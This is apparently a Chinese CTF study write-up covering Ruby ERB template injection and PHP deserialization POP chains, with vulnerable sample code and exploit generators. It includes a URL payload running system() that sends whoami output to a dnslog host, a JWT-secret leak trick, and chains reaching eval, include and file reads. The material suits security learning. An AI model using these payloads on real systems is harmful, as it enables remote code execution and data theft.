生活不易
Ruby ERB注入
现在的Web应用中,许多客户端以及服务器端经常会用到模板。许多模板引擎提供了多种不同的编程语言实现,比如Smarty、Mako、Jinja2、Jade、Velocity、Freemaker以及Twig等模板。作为注入攻击大家族中的一员,模板注入这种攻击形式对不同的目标所造成的影响也有所不同。对于AngularJS而言,模板注入攻击可以达到XSS攻击效果,对于服务器端的注入攻击而言,模板注入攻击可以达到远程代码执行效果。
ERB时Ruby自带的
<% 写逻辑脚本(Ruby语法) %>
<%= 直接输出变量值或运算结果 %>
如果x是可控的,跟普通模板注入一样
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
呢么读取X的话 得到的就是49
假如以此类推,读取一个文件
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('pwd.txt').read
puts erb_object.result(binding())
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
第一种:jwt解密
这段代码意思就是如果传入的参数do和name一致,则会输出params[:name][0,7]} working successfully!
这里有erb模板,并且直接把可控参数name拼接进去了,但这里有限制,最多最多只能要七个字符,除去<%=%>只剩两个字符可以操作
$'-最后一次成功匹配右边的字符串
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
然后将secret填入和JKL修改
得到的JWT到shop页面进行购买,然后修改为post传参 shop页面
最后进行JWT解密就是flag
第二种:利用HTTP参数传递类型差异
利用HTTP参数传递类型差异的问题。url传参可以传入非字符串以外的其他数据类型,比如数组从而绕过一些程序逻辑
$a = "mon123"
$b = Array["aaa","bbb","ccc"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"
这里,$b原本是数组,但是因为被拼接到了字符串中,所以数组默认的类型变成了[“aaa”, “bbb”, “ccc”],这样上面代码的限制,从原本的7个字符,变成了7个数组长度
payload:
/work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working
url编码一下
/work?name[]=%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=%5B%22%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E%22%2C%20%221%22%2C%20%222%22%2C%20%223%22%2C%20%224%22%2C%20%225%22%2C%20%226%22%5D%20is%20working
最后得到任意代码执行
反序列化
发序列化的题目做的不是很好,在构造PO链的时候,会有些不懂,进行系统补充学习一下。
还是从代码先入手
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['a']);
?>
这个例子,test类中的_destruct()调用了action方法,但在_construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法,
<?php
class test {
protected $ClassObj;
}
class evil {
private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>
构造出来这样,创建一个evil类的对象然后把它赋值给classobj属性,但classobj是protected属性,不能在类外面访问,所以要在test类里面写一个_construct()来完成操作。
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>
下一个代码分析
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>
先进行思路分析,先找链子的头和尾,头部是GET传参,尾部是Uwant类中的getshell,然后从下往上看,Uwant类中的__get()中调用了getshell,Show类中的toString调用了__get(),然后Hello类中的__destruct(),我们get传参之后会先进入_destruct(),呢么完整的链子就是
从头部开始->Hello:_destruct() ->Show:_tostring() -> Uwant: _get() -> Uwant :getshell ->尾部
在Hello类中我们要把$this->str 赋值成对象,下面echo出来才能调用show类中的_tosting(),然后再把show类中的this->str[‘str’]赋值成对象,来调用Uwant类中的_get()
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));
下一个例子
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
思路分析,还是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件。然后找到尾部后往上看,
在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup()
构造链子的话
头部开始->Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));
?>
下个例子
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
首先还是找头和尾部,头部还是get传参,尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了
这样的话 链的构造就是
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>